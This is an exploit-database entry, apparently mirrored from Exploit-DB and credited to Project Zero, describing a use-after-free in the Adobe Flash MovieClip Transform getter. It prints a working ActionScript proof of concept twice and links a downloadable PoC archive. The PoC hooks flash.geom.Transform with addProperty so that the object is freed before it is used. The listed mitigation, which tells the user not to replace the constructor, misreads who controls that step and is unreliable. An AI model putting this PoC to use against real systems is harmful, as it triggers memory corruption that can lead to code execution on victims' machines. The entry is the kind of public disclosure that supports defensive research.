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vendor:
N/A
by:
Project Zero
7,5
CVSS
HIGH
Use-After-Free
416
CWE
Product Name: N/A
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: YES
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2017

Use-After-Free in MovieClip Transform Getter

There is a use-after-free in the MovieClip Transform getter. If the Transform constructor is replaced with a getter using addProperty, this getter can free the MovieClip before it is accessed. A minimal PoC is as follows: var mc = this.createEmptyMovieClip( "mc", 1); var tf = flash.geom.Transform; var g = flash.geom; g.addProperty("Transform", func, func); mc.f = ASnative(900, 419); mc.f(); function func(){ mc.removeMovieClip(); // Fix heap }

Mitigation:

The user should ensure that the Transform constructor is not replaced with a getter using addProperty.
Source

Exploit-DB raw data:

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=844

There is a use-after-free in the MovieClip Transform getter. If the Transform constructor is replaced with a getter using addProperty, this getter can free the MovieClip before it is accessed. A minimal PoC is as follows:

var mc = this.createEmptyMovieClip( "mc", 1);
var tf = flash.geom.Transform;
var g = flash.geom;
g.addProperty("Transform", func, func);
mc.f = ASnative(900, 419);
mc.f();

function func(){
	
	mc.removeMovieClip();
	
        // Fix heap
	}


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40311.zip

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